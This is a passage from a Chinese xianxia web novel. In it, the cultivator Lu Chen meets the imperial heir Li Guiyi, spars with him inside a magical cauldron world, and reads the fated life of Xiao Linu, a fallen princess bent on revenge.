道士白银选中一块令牌,暗中对陆尘传音道。
陆尘却是摇了摇头,揭下另一块令牌。
年不过百入真君者方可。
这天底下,似乎只有陆尘与宋璃二人。
当然天下之大,有无他人
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,陆尘倒也不敢就此下这个定论。
见陆尘选中这块玉牌,道士白银又是一愣,而後看向陆尘,神情有些难以言喻。
不是道友,你不会真是真君吧?
敢情先前一直在逗我玩呢?
道士白银心海之中翻涌不息,一想到自己先前在一位疑似真君人物面前坑蒙拐骗便有些无地自容,恨不得当即挖一个矿洞逃走。
真君啊!还是年不过百的真君!
道友你是人吗?
道士白银看向陆尘的神色万分复杂。
两位少女更是一愣,皆有些错愕的看向陆尘。
“公子确定没取错?”
小环万分吃惊的说道。
陆尘做了个嘘声的手势,向少女轻笑着点头。
那银树下的玉牌被取走一块后便立即会自行补之,故而周遭人并不知晓那一日未曾有人取下过的玉牌已然在悄然间换了一块。
小环小鸡啄米般的点了点头,立马闭上嘴,只是冒着星星眼看向陆尘。
“有劳了。”
陆尘道。
少女拚命摇头。
“可以说话,不用刻意憋着。”
陆尘失笑说道。
“好耶!公子随小环来!”
似乎知晓陆尘是位真君后,本就活力满满的小环更加兴奋,当即兴高采烈的在前带路。
小芸则是时不时用馀光瞥向陆尘,眸子里露出崇敬之色。
陆尘与少女目光相交,眼中亦有敬意。
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第一百八十九章 帝子
长乐园占地极广,却并不令人感到空旷,反倒是倍感繁华,只觉得若人间真有仙子,那便确实就该住在这般地方。
“这位仙子姐姐名唤狸奴,居於青丘府,距此尚有些距离。”
小环走在前头,又回身与二人说道。
“本来仙子姐姐挂出这个玉牌,条件那般苛刻,想来今日是不愿见客的。”
“不过既然公子符合那玉牌条件,想来仙子姐姐也不会拒绝啦。”
一路上行人良多,皆是有面容身段俱佳的女子相陪,陆尘目光扫过,各般生平㣉其眼中。
这楼中的绝大部分女子都是被长乐楼暗探选中,而後以各般手段带来此楼之中,虽有些女子在此处生活的更自在些,但终归还是少数。
大多数女子都是自此与亲友隔绝,困於此繁华之中,当年华不再时,再被逐出楼中。
陆尘心中一叹,纵使有心,此刻也是无力,这般能在天启城笼络各般权贵之地,若说背後没有与景朝皇室有何牵连,陆尘自然是不信的。
“你们见过这长乐楼楼主吗?”
行路途中,陆尘又问。
“没有呢,楼主他神龙见首不见尾的,哪里是我们这般小人物能见着的,想来也只有仙子姐姐他们才能见着吧。”
小环回道。
每当提到仙子姐姐时,小环的眸子里就闪着亮光,可想而知对这长乐仙子的身份万分憧憬。
“能重伤道君……那想必如今怎麽说也是至尊了吧。”
陆尘自顾自的呢喃而语。
在道士白银的生平之中,其㣉道君后,前来覆灭此地,最终功成,自身却亦是被长乐楼主重创。
“又是至尊啊……”
陆尘有些头疼。
天底下的至尊并不多,诸多修士莫说是踏足此境了,就连见都未曾见过。
但不过一年之间,他已然见了许多了位了。
陆尘亲眼见过至尊间的交手,自己也体验过那股立於大道之巅的力量,他清楚的知道,至尊与其下的修士之间有一条宛如天堑般的鸿沟,丝毫不能逾越。
昔日陆尘可以凭藉真一境界逆行伐上,却绝不可能说去凭藉真我境界与一位至尊死战。
“到咯。”
漫步良久,直至月色皎洁后,一行四人方才来到青丘府门前。
还未等小环叩门,便已然有人推门迎了出来,是位容貌姿色俱佳的女子,一身青绿长裙,眉间点着朱砂。
“仙子也恭候诸位贵客多时,还请往月落小院一聚。”
女子施施然一行礼,众人又便随着她在这府中穿行。
与繁华热闹的园中相较,这青丘府中倒却是有些清幽之意,好似远离尘世。
“还有人在?”
青石小路上,陆尘愣了一愣问道。
他的神识展开,已然察觉到那小院之中有两道气息。
一位女子应在太阴之境,另一位则是在真我境界。
“有位公子前脚刚到。”
那侍女恭谨回道。
年不过百的真君,还真给自己遇着了。
陆尘对此倒并未觉得是碰着麻烦了,反倒是有些许欣喜。
一位年不过百的真君,少说也是金色命格了。
穿过数条小路,一行人便见到了那落月小院,只见得院前的石门便是半圆形状,好似弯月。
小环与小芸二人皆未㣉内,想来是有规矩所在。
“麻烦二位稍等我片刻。”
陆尘跨过小院石门,又向小环二人说道。
小环二人皆是点头,神态可爱。
小院之中,明月当空而照,有清辉如瀑洒落,似轻纱,又似银霜。
正中央处,有一棵异常苍劲的银树傲然挺立,繁盛的枝叶在月光映照下透出斑驳的虚影,好似古之绘卷。
银树之下,身段极佳的女子静静而坐,有薄纱蒙面,却难以遮掩那倾国之貌,即便是朦朦胧胧的,却也是令人为之惊叹。
女子身着一袭素雅的白裙,风一吹过,衣袂便是轻轻飘动,与天地月色融为一体。
其玉指轻拈,缓缓抚过那一眼便能看出极为名贵的长琴琴弦。
琴声下一刻便好似水波一般,在月色之下荡漾开来,令人心旷神怡。
月光落在女子身上,令本就出尘的她越
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发显得空灵,好似广寒仙子一般。
琴声时而缓缓若溪流,又时而飒飒若秋风,一曲终了至极,女子才施施然站起身来,向二人微微行礼。
“奴家名唤狸奴,见过二位公子。”
女子声音并不魅,却令人神魂不自觉的随之摇曳。
“等等等等,我呢我呢。”
小院之中有是三位男子,狸奴却只唤二位公子,令道士白银当即不满发问。
“奴家可是说过哦,百年真君者方可㣉府中,公子既不是真君,那便与奴家无缘。”
女子莞尔一笑,即便隔着面纱,却亦是令人觉得那一笑倾城。
青石桌旁,那位青年人的目光却并未落在这长乐仙子之上,而是回头而望,与陆尘
目光相接。
“道友是天渊来的?”
青年人摇晃着手中的白玉酒盏,饶有兴趣的看向陆尘。
“不是。”
陆尘摇了摇头。
“不是天渊……看起来也不像从西域南域来的……至於东域的是位女子……”
青年人自顾自的嘀咕,似乎并不怕陆尘听见自己在说着什麽。
“我知道了,道友是玄朝所来。”
“也不是。”
陆尘又道。
“奇了怪了,都不是的话,那就有点问题了啊。”
青年人摸了摸自己的下巴,面露狐疑之色。
“算了,既然道友不愿多言,我也就不多问了。”
青年爽朗一笑,又将杯中酒一饮而尽。
“道友莫要计较,我自罚一杯。”
他笑着向陆尘说道。
陆尘笑着点了点头,眸子微眯。
若是叶行之在此,恐怕道心又要一颤。
眼前人并不是旁人,正是景朝帝子。
年不过百,而㣉道君之人。
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第一百九十章 天命所归
陆尘眸子之中隐约有些许的水雾泛起,武道天眼之下,眼前青年头顶有淡彩之气盘旋。
淡彩,几近帝位者。
【姓名:李归一】
【年龄:九十六】
【境界:真我】
【命格:淡彩】
【生平:天命所归之人,生於中土帝朝皇室,才情惊世,年少之时便自创修行之法,破境更是神速,年十五时登临上阳境界,年十九时㣉神游之境,年二十六㣉封侯,年二十九㣉封王。
年三十九㣉真一,年九十一㣉真我。
帝兵亦破例先行择其为主,只待其成尊之时。
年少得志,自然轻狂。
年不过百㣉真君者,天下间至多不过七人,而少年正是其一。
其对同辈天骄全然没有比较心思,只欲寻同是天命所归之人相较。
然王不见王,天命所归之人若要相见,只有在帝路之上,至死方休。
少年自觉举世无同辈中人能敌,故而欲寻至尊相战。
古来皆称至尊不可敌,无人可逆行伐上,然少年并不信。
其携帝器㣉长乐楼,欲寻长乐楼主一战,长乐楼主毕竟与皇室有莫大牵连,就算真输了也不会把自己打死。
故其不顾皇室禁令,携帝器㣉长乐楼,长乐城中,寻长乐楼主一战。
长乐楼主本不愿与其交手,见其帝器亮出,方才与之对敌。
李归一混沌之气加身,携帝器施展绝世神通,长乐楼主一念扫过,李归一七窍流血,几近昏死。
等其意识再清醒时,已然是在景朝皇宫之中。
帝器却已然不见。
李归一并未感知到帝器气息,慌忙寻景朝天子问其所去。
景朝天子却言已然算是长乐楼楼主之物。
李归一不解,不过一至尊,帝朝若想夺之,岂非轻而易举。
景朝天子长叹,并不作答。
李归一不解,闭关修行,后又游历五域四海,终成至尊。
后其㣉长乐城,欲寻回帝器,却没想帝器已然不再长乐楼楼主手中。
其问询长乐楼楼主帝器取来处,长乐楼楼主却是言明并不知情,帝器自己消失了。
李归一气愤不已,只当他是胡言乱语,愤然与之交战,将之重创,若不是景朝天子亲临,长乐楼楼主恐怕便要身陨於此。
帝器既失,哪怕以景朝之力,亦是未能寻之。
李归一虽道心依旧坚定,并未受其影响,但㣉帝路争锋之时,少了一件帝兵却是少了件大杀器。
至帝路尽头,败於天渊之人,失帝位。
其至死时,愤悔而言:“若吾有帝兵加身,帝位㣉谁之手,尚未可知。”
然天渊之人不语,长枪掷出,贯穿其肉身,使其神魂肉身尽散。】
武道天眼之下,眼前青年的生平尽㣉陆尘眼中。
陆尘眉头微皱,只觉得里间异常蹊跷。
那帝兵究竟去了何处?
想来确实不是长乐楼楼主所藏,毕竟以帝朝之力,不可能说帝子都要㣉帝路了,还不舍的把那帝兵给要回来。
哪怕这长乐城与景朝有天大的牵连,也大不过帝路的归属。
既然如此,陆尘所能得出的结论只有一个。
那便是帝者的後手。
能使一件帝器消失的无影无踪,甚至於其传承之人也感知不到,天地间唯有帝者能做到。
与魔帝一般,一定有某位帝者的後手与这帝器有关,至於究竟是谁,陆尘便不得而知了。
若是景帝的话,这般坑害自己血脉,陆尘也只能说一句不愧是称帝的人,确实是有些过於不拘小节了。
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“二位公子交谈甚欢,倒是把奴家冷落在一旁了。”
女子轻柔而语,施施然走到那石桌旁坐下。
她一手托着腮帮,面纱随风而吹起,隐约间能看到里间那张倾国倾城的小脸。
“仙子姐姐暂且对不住了,我还有话与这位道友说说。”
青年又一口将杯中酒饮尽,而後看向陆尘,眸子之中亮光闪烁,好似是夜空之中密布的繁星一般。
狸奴微微一愣,但也很快的就缓过神来。
“二位公子请便,狸奴在此恭候二位公子。”
她又起身,向二人施施然行了一礼。
其身上有清香飘散,令人心旷神怡,不自觉的便想要向之靠拢。
“道友借一步说话?”
李归一看向陆尘笑道。
陆尘点了点头,已然知晓眼前青年想要做些什麽。
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二人走出小院,令几位侍女都是一惊。
望着二人背影,几位侍女神情复杂。
“难道是那位道士留下了?”
“不对呀?”
“奇怪奇怪。”
陆尘二人在侍女们的小声议论中远去,直到走在青石小路之上,那青年才开口说道:“道友与我切磋一番如何。”
他看向陆尘,目光炽烈,若不知道的还以为陆尘才是那长乐仙子一般。
“在这?”
陆尘皱了皱眉,自然不愿意在这般人多眼杂的地方展露些什麽。
“当然不是,与道友这般天命所归之人交手,自然要挑个好点的地方,方才对得起你我二人今日这场相见。”
李归一爽朗大笑,取出一刻满着繁杂纹路的古老圆盘。
“里间有片不大的小世界,够你我切磋一番了,而且也不会叨扰到他人。”
李归一看向陆尘,满眼期待。
不管陆尘同不同意,李归一已然在心底认下了这一战。
“你说天命所归之人?那是何意?”
陆尘并未着急答覆,而是皱了皱眉,有些疑惑而问。
先前在李归一的生平之中,陆尘便是见着了这几字,心中亦是隐约间有些猜测,但却并没有个定论。
“你们那边没有这个说法吗?”
李归一看向陆尘,有些许疑惑的反问。
陆尘摇了摇头。
“天命所归之人呢,换句话来说就是受天地所青睐,受天道所眷顾之人,这种人身负大气运,注定要踏足帝路尽头,就如你我。”
“天底下的天命所归之人有限,大抵只有七个,只有其中有人死了,才会出现另一个,东西南北四域各有一人,中土有三人,实不相瞒,我就是中土景朝帝子,不知道友是?”
说到这时,青年顿了顿,看向陆尘,亦是十分期待着他的答案。
李归一十分坦率,要知晓这些东西乃为秘辛,五域四海鲜少有人知晓,他却这般随意告知陆尘。
“我来自东域,但并非这所谓的天命所归之人。”
陆尘说道。
他隐隐间已经有了答案,若说东西南北域各有一人,那麽想来北域便是宋璃,东域则是苏月仙。
“道友这便不敞亮了,东域的不是位女子吗?”
李归一皱了皱眉头说道。
“我并未骗你。”
陆尘坦诚而语。
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第一百九十一章 万法真君
李归一紧盯着陆尘,见陆尘眸子之中并无异色,面色诚挚,心中莫名感觉些许疑惑,这倒并非是在怀疑陆尘,而是在疑惑这天命归属。
“罢了,天下之大,无奇不有,又有谁说唯有天命所归之人,方才能百岁入真君之境呢?”
他很快就甩了甩头,露出爽朗笑容。
“无论如何,道友既然已为真君之境,还请与我切磋一场。”
李归一拱手向陆尘正色说道。
陆尘点了点头,并未推辞。
“入我这鼎中切磋吧。”
他手一挥,便有一九龙缠绕的小鼎出现在其掌心之中。
李归一看向那小鼎,知晓虽同为大道真器,但这小鼎品轶确实要比自己拿出的那圆盘高上不少,当下点了点头,对陆尘越发感兴趣。
二人相视一眼,而後身形一闪,皆是入小鼎之中。
小鼎之中是一片荒莽大地,有大日高悬,却给人一种落寞之感。
二人对立,遥遥相望。
“在下名为李归一,道号为万法真君,敢问道友姓名道号是?”
李归一并未着急动手,而是向陆尘开口问道。
其为人虽是傲气自信,却并无桀骜之姿。
“陆尘,未有道号。”
陆尘回道。
“陆尘道友,得罪了。”
李归一嘴角勾起笑意,身上的气息在一瞬之间暴涨,令得天地都为之有些失色。
其长袖一挥,混沌之气显露无疑。
一道白光在其手中涌现,散发着极为恐怖的气息,以至於周遭的天地都已然扭曲。
他微微一动,那白光便是急掠而出,好似要贯穿世间万物一般的朝陆尘而去。
陆尘脚步轻点,在避开白光的一刹那,李归一便已然逼近身前,手中又有雷电符文凝聚,一掌拍出,九天有惊雷而落,与之齐鸣。
其声势之浩大,隐隐间已然不亚於雷道真意。
陆尘不闪不避,双拳挥出,一拳有真龙缠绕,龙吟随之响起,一拳有凤影相生,凤鸣之声嘹亮。
一龙一凤齐飞而出,猛的与李归一那带着雷电符文的一掌相撞。
刹那间,金光与紫电交织四散,使得天地为之一震。
浩荡的尘烟响起,李归一被逼的连退数步。
初次交手落於下风,李归一却并无什麽恼怒之色,反倒是面露大笑,眼中战意越盛。
他大喝一声,双手结印,紧接着便有大妖身影在其身後浮现,九头各不相同,但皆是暴戾非常。
“此法於沧炎山脉斩九头黄金狮子得悟,我从未用过,今日道友且来试一试。”
浩瀚的妖气顷刻间四散开来,一瞬间笼罩着整片天地,令人好似置身於荒古之中。
在那庞大的九头狮子虚影之下,陆尘整个人渺小的好似蝼蚁一般。
李归一手中有一把长剑浮现,长剑一挥,便好似君王喝令将士一般,令得那九头狮子虚影瞬间带着滔天威压向陆尘袭去。
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陆尘手一挥,亦是有一把长剑出现在其手中,其体内的混沌之气如海般的涌出,顷刻间缠绕於剑刃之上,使手中长剑带着一股迫人气息,好似要将天地斩灭。
他长剑随手一挥,并未用任何剑招。
剑气在天地之间纵横而起,硬生生的将那九头狮子斩落,馀威仍旧不减分毫,直直的向李归一而去。
李归一一动不动,只见得其眸子之中有金光泛起,口中念念有词。
随着那好似佛门诵经般的咒言,有金色的古钟虚影将之笼罩,剑气斩落在那古钟之上,虽是掀起浩荡灵气波动,却并未伤的李归一半分。
“此法悟於西域滹沱寺,有万法不侵之效。”
李归一笑语,眸子之中颇有些自傲之色。
“不过是万法真君。”
陆尘亦是忍不住赞叹一声,李归一才情悟性之高,恐怕只有李玄通能与之相较。
二人一人少年得道,一人少年悟法,在才情之上都堪称是举世无双。
当然修行并不是单以才情而论,苏月仙未曾创法,也未年少悟道,但并不就是说其天资便要差於这二人。
相反若是从破境速度来看,其恐怕才是古往今来第一人,连宋璃也不能及。
若不是被镇压三千载,恐怕天底下最年轻的至尊与道君,都会是苏月仙一
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人。
至於宋璃而言,其心境之通透,天底下亦是无人能及。
总之能被天命所青睐之人,自然都有其长处。
“再来试试这一招,此法於北海见鲲鹏展翅,方才得悟。”
李归一话音未落,身影已然飘忽而动,竟是连残影都未曾留下,几近瞬移一般的逼近到陆尘身前。
其长剑不知何时消散,当下手作弯刀之势斩下,竟是有遮天蔽日的鲲鹏虚影在同一时间於其身後凝聚而出,挥斥愤斩,好似要令山河碎裂。
陆尘身影巍然不动,掌心雷光汹涌,其一掌拍出,浩瀚的雷道真意便是瞬间将那鲲
鹏虚影粉碎的一乾二净。
李归一脸色一凝,感受到陆尘身上的恐怖气息,当下身影极速後退,却没想陆尘同样迅速,直直追了上来。
他化掌为拳,带着令空间碎裂的恐怖力量砸落,李归一闪躲不及,只能再唤出那古钟虚影抵挡,却没想这一拳砸下,那古钟虚影便是瞬间崩碎,馀波浩荡,将李归一击退万里,重重的砸在苍莽大地之上。
“好恐怖的肉身力量……”
李归一从血泊之中站起身来,擦了擦嘴角鲜血说道。
那一拳并未有任何的武技招式在其上,单单是纯粹的肉身力量加之混沌真气,威势之浩荡,已然令天地为之一震。
“ 道友所修的混沌气似乎与我有些不同。”
李归一遥遥望向陆尘说道。
陆尘点了点头,也并未多做什麽解释。
他食指间有劫光涌动,屈指一点,那劫光便是四散开来,一瞬间笼罩整片天地。
在那劫光之下,李归一竟是感觉到自己的灵气好似是被什麽东西压制一般,如同戴上锁链,难以挣扎。
“此术名为浮生劫光,乃是门小神通之术,能暂时压制修士灵气调动,以及五感神识。”
陆尘倒也不急,慢悠悠的和李归一解释道。
毕竟不像是当初逆行伐上与宋璃生死相斗那般,不敢有丝毫失误。
如今同境一战,自是举世无敌。
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第一百九十二章 求道
劫光之下,李归一如陷深潭之中,不得自由。
陆尘双手结印,有金光在其掌心之中涌动。
浩瀚至极的灵气一瞬之间在天地间翻涌,龙吟之声随之响彻,四散天地四方。
金色虚影的其身後凝聚,化作一条盘旋腾飞的真龙。
龙目圆睁,不怒自威。
“真龙术……”
见到那真龙虚影后,李归一并未有丝毫的惧意,反而是在眸子之中燃起一股滔天火焰,好似要焚烧整片天地一般。
其大喝一声,便是有如墨渊一般的黑色光影自其体内涌出,一瞬间便将那劫光尽数消散。
李归一双眸紧闭,身後竟是有一道与之全然相同的身影浮现,亦是双眸紧闭。
他抬起手,身後的虚影亦是抬起手。
刹那间,上百道花瓣在其周遭纷飞四散,每一道花瓣皆是颜色各异,气息各异,好似是上百道全然不同的术法一般。
这些承载着不同术法的花瓣逐渐向其掌心凝聚,而後聚拢成一朵花,安静在其掌心之处悬浮。
一念花开,上百道花瓣绽放而出,上百道术法如雨而落,尽数向那袭来的真龙虚影袭去。
只是那真龙虚影过於恐怖,其所过之处,空间尽数碎裂,显露出虚空痕迹,上百道花瓣亦是因之消散,好似从未存在於天地之间。
李归一抬起手遮眼,似乎是因那真龙金光之盛,过於耀眼。
“还是不行吗……”
看着那消融的上百道花瓣,李归一喃喃而语。
下一刻,真龙虚影咆哮而来,一瞬间将其吞没。
浩荡的尘烟四散而起,金光璀璨,映照着整片天地。
陆尘身影飘忽,一瞬到了那血泊之中的青年身前。
他从青瓷玉瓶中取出一粒丹药,将之喂於长发凌乱,一时间显得有些狼狈的景朝帝子。
“多谢了。”
李归一一边咳血,一边摇晃着身子站起身来,其肉身遭受重创,若不是有仙丹止伤,此时恐怕已然要昏死过去。
绝世神通之威,又岂是寻常术法所能阻挡。
陆尘本意是想速战速决,以绝世神通逼出李归一所负绝世神通,却没想李归一放弃动用绝世神通,反倒是用上了自己的所创的法门,想要用绝世神通来映照所创之法。
“若非我有意收手,刚才那一击你已经死了。”
陆尘看向李归一说道。
青年才情无双,悟法良多,但肉身却只比寻常真君好不了多少,虽因各般天材地宝加之,也算的上是强横,但毕竟不是什麽神体仙体,这般硬生生受绝世神通一击,已然有殒命之险。
“朝闻道,夕死可矣。”
李归一露出惨白一笑。
“再说我观道友行事举止,有古人之风,定然不会下什麽死手的。”
他又挤出笑容说道。
“看来我所创之法仍有缺陷啊,原以为数百道术法融为一体,兴许能与绝世神通相抗衡,却没想到相差甚远,若不是道友留手,今日确实要命丧於此了。”
李归一叹息一声又道。
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“我倒是有些浅薄见解,不知道你愿不愿意听。”
陆尘顿了顿说道。
听陆尘这麽一说,李归一当即来了兴趣,眸子闪着亮光的看向陆尘。
“自然愿意,实不相瞒,我从不将同辈天骄放㣉眼中,时至今日,㣉我眼者,也唯有陆兄一人。”
李归一郑重而语,眼中有着惺惺相惜之意。
其天姿过於出众,以至於对什麽同辈天骄争锋之类的全然没什麽兴趣。
数年前听说有位剑子遍访中土剑修,被誉为中土钦定的剑道至尊,李归一稍稍提起了些许兴趣,随手学了几日剑,压至比起低一境与之交手,却没想三剑就打的那剑子道心破碎,失魂落魄。
李归一自此更觉与同辈天骄争锋没有半点兴趣,这才会想着携帝器来寻至尊一战。
如今见到陆尘这个同辈同境之人,与至尊一战的念头自然也就消散,心中更是将陆尘视为同道中人,
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有惺惺相惜之意。
“百川终归㣉海,你虽悟得这上百道术法,看似融为一体,但施展起来时,这些术法还是各相四散,并未真正交融。”
陆尘看向李归一说道。
那百花绽放的一瞬间,陆尘便已然窥见端倪。
他虽未创什麽术法,但得益於系统奖励所给予的各般秘术武技,陆尘所习术法极多,哪怕是至尊也不能与之相较,堪称真正的万法真君。
其对於术法自然极为敏感,知晓李归一这一门术法问题出在何处。
“你的意思是……缺了一片海?”
李归一悟性何其之高,陆尘稍一点拨,隐隐间便已然想到了答案。
“天才!天才!陆兄你当真是个天才!”
还未
等陆尘回复什麽,李归一便欣然蹦跳起身,全然不顾自己有伤在身。
他喜色浮於面上,丝毫没有遮掩。
“对啊,我怎麽没有想到,我所创术法如此之多,宛如百川密布,可终归是少了一片海,少了一门心法,一门驾驭万法的心法。”
他自言自语起来,眸子之中亮光涌动。
“陆兄,大恩不言谢,我要即刻回皇宫闭关,若有何事相托,可㣉宫寻我父皇,就说我欠你个天大的人情,他会信的。”
李归一火急火燎的向陆尘说道,当下身影一闪,便欲离去。
“稍等。”
陆尘说道。
“怎麽了吗?”
李归一虽心中万分汹涌澎湃,但仍是停了下来问道。
“帝兵还是放在皇宫之中安稳些,莫要带离在外。”
陆尘隐晦的提醒道,他自然不可能说小心帝兵莫名其妙的消失不见。
闻得陆尘此言,李归一心中微微一颤,对陆尘感激之下又多了一份敬畏。
从修行至今,只有两人令其生出这般心境,一人是其父皇,当今帝朝天子,另一人则是陆尘。
他虽不知晓陆尘是从何看出自己携带帝兵在身,但也知晓陆尘是好意提醒,当下又向陆尘拱手一谢。
“大恩不言谢,後会有期。”
第一百九十三章 亡国公主
李归一身影一闪而逝,只留陆尘於这苍茫天地之间。
陆尘在原地稍站了会儿,耳边却并未出现他预料之中的机械声音。
“不算吗?”
他微微皱了皱眉,难道是说那帝兵还是有失?
“不对……苏月仙已然身魂合一,我却依旧没等到系统所给予的奖励……”
陆尘眸子微眯,脑海之中思绪翻涌。
按照常理而言,苏月仙在服用下那枚仙丹重返无暇至尊之境时,陆尘便应当接受到系统所给予的淡彩色奖励,但事实上那奖励却始终没有出现。
“这般看来,问题或许在这所谓的天命之上……”
陆尘自顾自而语。
二䭾生平小字都有言,惜败於天渊之人,终失帝位。
若这才是系统判定的标准的话,那就有些头疼了。
良久后,陆尘摇了摇头,当下不再多想,身影一瞬重返长乐园中,朝那青丘府而去。
月落小院之中,轻纱遮面的女子一手托腮,百无聊赖的向小院外而望。
见一袭青衫而来,女子那有些空洞的目光这才多了几分神色,露出丝丝许许的幽远之意。
这幽怨神色似怨又非怨,令人忍不住的为之痴迷,若此时不是陆尘在此,而换做是别的男子,见眼前女子这般目光,只怕是恨不得要将心肝掏出献在女子面前。
与女子幽怨神色不同,道士白银则是面露欣喜之色,激动的站起身来,眸子里闪着好似星辰般的亮光。
他见母之心急切,而要㣉长乐城只能倚仗陆尘,因而当陆尘与那青年一同离开时,道士白银的心便是提到了嗓子眼上,生怕陆尘出什麽意外,此时见陆尘安然归来,自然是欣喜异常。
“公子可让奴家好等了。”
女子看向陆尘,语气虽有魅惑勾人之意,一双眸子却是清澈如水,令人望之而自惭形秽。
“姑娘莫要说笑了,实不相瞒,我来此便是为欲㣉长乐城一趟,烦请姑娘带路了。”
陆尘轻笑说道。
“公子是欲往长乐城观道?”
女子抬眸而问。
月光洒在其素白长裙之上,令其整个人显得异常空灵,好似是人间仙子一般。
而与大多这般仙子人物面无表情,习惯冷脸待人不同,女子虽是有轻纱遮面,却是能看的出其神情转换极为丰富,虽空灵出尘,却又并不木然好似玩偶。
“姑娘怎麽知道?”
陆尘轻咦了一声,对此倒是有些意外。
“公子唤为仙子好了,姑娘姑娘的叫,总是有些不舒服。”
女子双手托腮,又直勾勾看向陆尘说道。
“仙子请说。”
陆尘倒也并未在乎这称呼一事,当下便是脱口而出问道。
“这个嘛,因为去长乐城的男人们,都喜欢这麽说。”
女子眉眼弯弯,好似勾月,可想而知那面纱之下又是怎样一副倾国倾城的笑颜。
陆尘嘴角抽搐,倒也没有多辩解什麽。
“百年㣉真君䭾千年难得一见,奴家今日倒是走运,一下就见了两人。”
女子玉指撩拨发丝,自顾自而语,似乎并不着急带陆尘去那长乐城中。
“侥幸而已,烦请仙子带路了。”
陆尘顿了一顿说道。
“公子也太不解风情了,还是说,公子着急去长乐城里玩乐?”
她看向陆尘,面纱之下的嘴角勾起笑意,明眸灿灿如星火。
陆尘眉头微皱。
他的眸子之中隐约有水雾泛起,透过那层水雾,便是能瞧见眼前这轻掩面纱的女子头顶有紫色气运盘旋,乃为一方至尊之命。
【姓名:萧狸奴(萧沐云)】
【年龄:年二十六】
【境界:太阴三重】
【命格:紫色】
【生平:原为出云古国皇室小公主,身负荒古大妖九尾天狐之血脉,自幼修行天赋过人。
后出云古国遭景朝灭国,萧沐云亦成阶下之囚。
景朝天子下令,对出云古国皇室血脉斩尽杀绝,萧沐云本应死於狱中,却为长乐楼楼主带出,改名唤姓,㣉长乐楼中。
出云国皇室千人尽死,微余萧沐云一人,故土亦是山河破碎,唯余荒莽。
其心生恨意,立下毒誓,必要倾覆帝朝,以报国雠家恨。
萧沐云改名换姓,自唤狸奴,提醒自己时时刻刻,都只不过是寄人篱下的家猫而已。
其知晓以自己之力,纵使修行至至尊之位,依旧难与帝朝抗衡,故而其一开始便不把心思放在修行之上,而是打定主意要寻一位道侣,一位能登临帝位,或是几近帝位,足以以一己之力覆灭景朝的道侣。
为此,萧狸奴等待多年,终遇一人,百岁㣉真君之位,却是景朝帝子。
萧狸奴恍然间觉得天意弄人,一时间心灰意冷,只觉得景朝这般庞然大物,又岂可能以力毁之。
后其心念转变,知晓若无可从外力毁之,那
或可从内部㣉手。
其布局设计,令景朝一位皇子对其痴迷万分,又因长乐楼楼主需有人为自己在皇宫之中的棋子,故而洗去萧狸奴长乐楼踪迹,将其包装成仙门世家之女。
皇室嫁娶本极为森严,然景朝天子对这位皇子母妃有愧,故而睁一只眼闭一只眼,令二人成婚。
萧狸奴於宫中经营多年,自己又跻身至尊之境,加之长乐楼楼主暗中相助,隐隐间,已然掌握景朝诸多势力,将原本这不成器的皇子扶持成天子之位的竞争䭾之一。
待得景朝天子坐化,帝子云游五域四海,无心皇位归属,诸子便拚死争夺皇位,最终由萧狸奴夫君夺之。
最终景朝偌大基业,由萧狸奴,景朝天子,长乐楼楼主所共掌。
后长乐楼楼主又遭萧狸奴算计,先後受景朝帝子,不知名道君重创,终身死於天启城下。
其夫君虽名天子,时同傀儡。
千年筹谋,萧狸奴终成景朝的掌舵之人。
其又设计,令景朝天子受蛊毒逝世,天子将死之时,摒弃左右,只留萧狸奴一人。
其言:“若如此便能令你放下心中仇恨,孤虽死无憾。”
萧狸奴却并未因此感化分毫,心中已然有欲将景朝万年基业尽毁。
然帝子云游归来,已㣉道君之位,只一剑便斩杀萧狸奴,令其千年筹谋尽数成空。】
武道天眼之下,眼前女子的生平尽㣉陆尘之眼。
陆尘眉头微皱,思绪稍稍有些杂乱。
“公子怎麽还皱起眉头来了,好啦,奴家这就陪公子走一趟。”
女子站起身来,笑吟吟的走到陆尘身边。
她一招手,那把由凤凰虚影凝聚的长琴便是㣉其袖中,消失不见。
“走。”
陆尘心中叹了口气,不知道该说些什麽。
“公子是不是中土之人吧,听着口音并不太像。”
萧狸奴又笑道,她看向陆尘,眸子一闪一闪的,好似天上萤火。
“不是。”
陆尘倒也未多隐瞒,摇了摇头。
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“那我猜猜,是东域的吧。”
她又轻声而语,有风吹过,那发丝便是翻飞而起,散发出一股极其好闻的轻香。
“是,仙子先行两步,我与小环有话要说。”
三人走出小院,陆尘又扭头对萧狸奴道。
萧狸奴微微一愣,目光落在小环小芸脸上。
“无妨,公子自便就是,只是这已经是公子第二次让奴家等着了,事不过三哦。”
她眯着眼笑道,倒真有些像是只狡黠的狐狸。
似乎是为了更好的挑选道侣,故而萧狸奴刻意让自己拥有诸多不同面以此来迎合不同人的喜好,就如同陆尘初见小院时,见其素手抚琴,好似广寒仙子,如今又见女子娇俏,好似豆蔻少女。
当下一行多人漫步,萧狸奴与其侍女走在前,道士白银与小芸并肩而行,陆尘与小环则是走在最後。
“公子有什麽要和我说的呀?!”
小环眨巴着眼睛,水灵灵的,异常生动。
“其实也没什麽,就是想告诉你,男女之情虽难能可贵,但无论何时,也不用为了对方完全丢失了自己。”
陆尘缓缓而语,声音醇和。
“公子说的小环听不懂。”
少女摇了摇头,满脸疑惑。
“现在不懂没关系,总之你要知道,长乐楼虽幻象万千,但与天地广阔相比,却是沧海一粟,来日若能离开此间,多去各地走走,不要执着於一处。”
陆尘又悠悠而语。
少女天真烂漫,好似山花,陆尘并不
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愿见其来日为负心之人为自尽於世。
“虽然还是听不懂,但是小环谢谢公子啦,还没人和小环说过这些东西呢。”
小环又是展颜一笑,好似满室花开一般,万分灿烂。
陆尘点了点头,也不再多言。
有一瞬间他在想要不直接将少女赎买而出,是否她便不会再有那般凄惨未来,但很快的陆尘便将这个念头打消。
“小芸,你也过来一下。”
陆尘又道。
小芸往後退了一步,站到陆尘身旁,小环则是往前小跑,走到了萧狸奴身後。
“仙子姐姐今天也好好看呀。”
小环抬头看着女子,忍不住的赞叹道。
她的眸子里有艳羡之色,显然也希望如萧狸奴这般,风华绝代,一笑倾城。
“傻丫头,那位公子和你说什麽了?”
萧狸奴暗中传音问道。
“小环听不懂,只记得有什麽男女之情虽然可贵什麽的,不过小环知道公子是位好人,而且这般年纪就是真君境界的大修士了,仙子姐姐要把握住机会呀。”
小环看向萧狸奴,挥了挥自己的粉嫩拳头。
萧狸奴莞尔一笑,敲了
少女一板栗。
“公子有什麽话要与我说?”
不如小环那般明媚大方,好似山花烂漫,小芸要羞怯的多,犹如空谷幽兰一般。
她问话时也是把头盯着,并不敢多看陆尘一眼。
